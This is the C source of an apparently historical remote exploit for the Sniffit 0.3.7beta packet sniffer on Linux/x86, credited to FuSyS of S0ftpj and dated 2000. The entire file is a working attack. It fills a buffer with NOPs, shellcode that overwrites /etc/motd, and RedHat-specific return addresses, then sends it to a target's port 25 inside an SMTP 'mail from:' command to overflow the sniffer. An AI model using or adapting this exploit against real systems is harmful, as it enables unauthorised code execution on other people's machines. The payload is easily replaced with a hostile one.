/*
 * Sniffit 0.3.7beta Linux/x86 Remote Exploit
 * ShellCode is a modified version of w00w00 write egg, 
 * to pass Sniffit input filter
 *
 * Tested on 	RedHat 5.2, 6.0, 6.2
 * Proof Of Concept Code
 *
 * credits:	|CyraX| for pointing me to the coredump
 *		del0 for hurrying me :)
 *		vecna for offering me drinks ;P
 *		belf for loving and caring his GSM ;P
 * 
 *     			    	     FuSyS [S0ftpj|BFi]
 * 				 http://www.s0ftpj.org/
 */

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define LENGTH		600
#define RET			RH6x
#define RH52		0xbfff5c10
#define RH6x		0xbfff5bb5 	// 0.3.6HIP 0xbfffcc50
#define OFFSET          0
#define ALIGNOP		3		// 3 RH6.0, 4 RH6.2
// may vary [1-5]

/* Note To Script Kiddies: This ShellCode Simply Changes An
   Existing /etc/motd So Don't Bother DownLoading */

unsigned char shellcode[]=
  "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
  "\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4"
  "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
  "\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
  "\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77"
  "\x61\x73\x20\x68\x65\x72\x65\x0a";

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;

  if((addr.s_addr=inet_addr(hostname)) == -1)
    {
      if(!(hostEnt=gethostbyname(hostname)))
        {
          printf("Name Resolution Error:`%s`\n",hostname);
          exit(0);
        }
      bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
    }
  return addr.s_addr;
}

int main(int argc,char **argv)
{
  char buff[LENGTH+ALIGNOP+1];
  char cmd[610];
  long addr;
  unsigned long sp;
  int offset=OFFSET;
  int i, x;
  int sock;
  struct sockaddr_in sin;

  if(argc<2)
    {
      fprintf(stderr, "Usage: %s <sniffit host>\n", argv[0]);
      exit(0);
    }

  sp=(unsigned long) RET;
  addr=sp-offset;

  for(i=0;i<120-ALIGNOP;i++)
    buff[i]=0x90;
  for(x=0; x<strlen(shellcode); i++, x++)
    buff[i]=shellcode[x];
  for(i-=1 ; i<LENGTH; i+=4)
    {
      buff[i  ] =  addr & 0x000000ff;
      buff[i+1] = (addr & 0x0000ff00) >> 8;
      buff[i+2] = (addr & 0x00ff0000) >> 16;
      buff[i+3] = (addr & 0xff000000) >> 24;
    }

  printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n");
  printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n");

  memset(&sin,0,sizeof(sin));
  sin.sin_family=AF_INET;
  sin.sin_port=htons(25);
  sin.sin_addr.s_addr=nameResolve(argv[1]);

  printf("Connecting to %s ...\n", argv[1]);

  if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
    {
      printf("Can't create socket\n");
      exit(0);
    }
  if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
    {
      printf("Can't connect to Sniffit Server\n");
      exit(0);
    }

  printf("Injecting ShellCode ...\n");

  strncat(cmd, "mail from:", 10);
  strncat(cmd, buff, strlen(buff));
  write(sock, cmd, strlen(cmd));

  printf("Done!\n\n");

  return(0);
}
/*                    www.hack.co.za           [10 May 2000]*/